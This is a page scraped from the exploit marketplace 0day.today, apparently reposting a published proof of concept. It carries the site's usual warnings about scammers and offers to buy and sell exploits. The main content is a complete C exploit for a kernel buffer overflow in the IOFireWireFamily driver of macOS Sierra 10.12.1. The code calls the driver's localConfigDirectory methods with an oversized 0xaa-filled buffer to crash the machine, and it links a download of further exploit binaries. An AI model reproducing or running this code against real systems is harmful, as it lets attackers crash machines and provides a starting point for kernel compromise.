0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Apple macOS Sierra 10.12.1 - IOFireWireFamily FireWire Port Denial of Service Exploit
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
/* * IOFireWireFamily-overflow.c * Brandon Azad * * Buffer overflow reachable from IOFireWireUserClient::localConfigDirectory_Publish. * * Download: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44235.zip */ #include <IOKit/IOKitLib.h> #include <stdlib.h> #include <string.h> int main() { int ret = 0; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOFireWireLocalNode")); if (service == IO_OBJECT_NULL) { ret = 1; goto fail1; } io_connect_t connect; kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect); IOObjectRelease(service); if (kr != KERN_SUCCESS) { ret = 2; goto fail1; } // localConfigDirectory_Create uint64_t directory = 0; uint32_t output_count = 1; kr = IOConnectCallMethod(connect, 16, NULL, 0, NULL, 0, &directory, &output_count, NULL, NULL); if (kr != KERN_SUCCESS) { ret = 3; goto fail2; } // localConfigDirectory_addEntry_Buffer uint32_t size = 0x100000; void *buffer = malloc(size); memset(buffer, 0xaa, size); uint64_t addEntry_Buffer_args[6] = { directory, 0, (uint64_t)buffer, size, 0, 0 }; kr = IOConnectCallMethod(connect, 17, addEntry_Buffer_args, sizeof(addEntry_Buffer_args) / sizeof(*addEntry_Buffer_args), NULL, 0, NULL, NULL, NULL, NULL); free(buffer); if (kr != KERN_SUCCESS) { ret = 4; goto fail2; } // localConfigDirectory_Publish kr = IOConnectCallMethod(connect, 21, &directory, 1, NULL, 0, NULL, NULL, NULL, NULL); if (kr != KERN_SUCCESS) { ret = 5; goto fail2; } fail2: IOServiceClose(connect); fail1: return ret; } # 0day.today [2024-11-14] #